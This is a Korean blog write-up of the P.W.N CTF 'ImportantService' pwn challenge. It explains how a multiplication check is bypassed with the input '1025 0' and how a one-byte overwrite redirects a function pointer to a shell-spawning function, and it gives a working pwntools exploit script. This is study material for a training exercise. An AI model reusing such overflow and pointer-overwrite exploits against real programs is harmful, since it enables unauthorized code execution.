본문 바로가기
[ ★ ]Study/CTF

P.W.N CTF ImportantService(pwn)

by nroses-taek 2018. 12. 1.
반응형

File information

importantservice: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=384e47753749ac204fb2125a79f489a1ed476104, not stripped



security

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled


GDB 및 IDA로 정보를 보면


1. width, height  두 가지의 변수를 받는다.

2. width * height <= 0x400  조건을 거쳐야 함

3. fread를 통해 width 만큼 길이를 입력 받는다.


우선 함수들의 정보를 봐야한다.


Non-debugging symbols:

0x00005555555551a9  givemeshellpls

0x00005555555551bc  dologic

0x0000555555555279  main


main에서 변수를 통해 dologic을 부르는 부분이 있다.

(fread 후에 나타나는 변수 호출 부분)


dologic과 givemeshellpls 의 주소 차이가 1-byte 차이라


stackoverflow만 되면 같은 스택내에서 1-byte를 a9로 바꿔주면


givemeshellpls 가 실행될 것이다.



우선 GDB로 메모리를 확인해보니 fread를 통해 입력받는 곳부터


dologic을 담고있는 변수 rbp-0x20 부분의 거리차가 심하게 난다.


처음 프로그램을 실행하고 1025 0 을 입력하면


0x400 검증 부분은 우회되고 1024만큼 더미값을 넣고


1-byte만 'a9'로 덮어쓰면 givemeshellpls가 실행된다.



from pwn import *


def script():

        p = process("./importantservice")

        print p.recvline()

        p.sendline("1025 0")

        print p.recvline()

        data = "a"*1024

        data += "\xa9"

        p.sendline(data)

        p.interactive()


if __name__ == "__main__":

        script()

반응형

'[ ★ ]Study > CTF' 카테고리의 다른 글

Pwntools 설치(install)  (0) 2019.04.03
X-MAS 2018 Greetings from Santa  (0) 2019.01.01
TUCTF2018 Shella_Easy(pwn)  (0) 2018.12.15
TUCTF2018 - ehh  (0) 2018.12.15
RITSEC2018 ezpwn  (0) 2018.11.19

댓글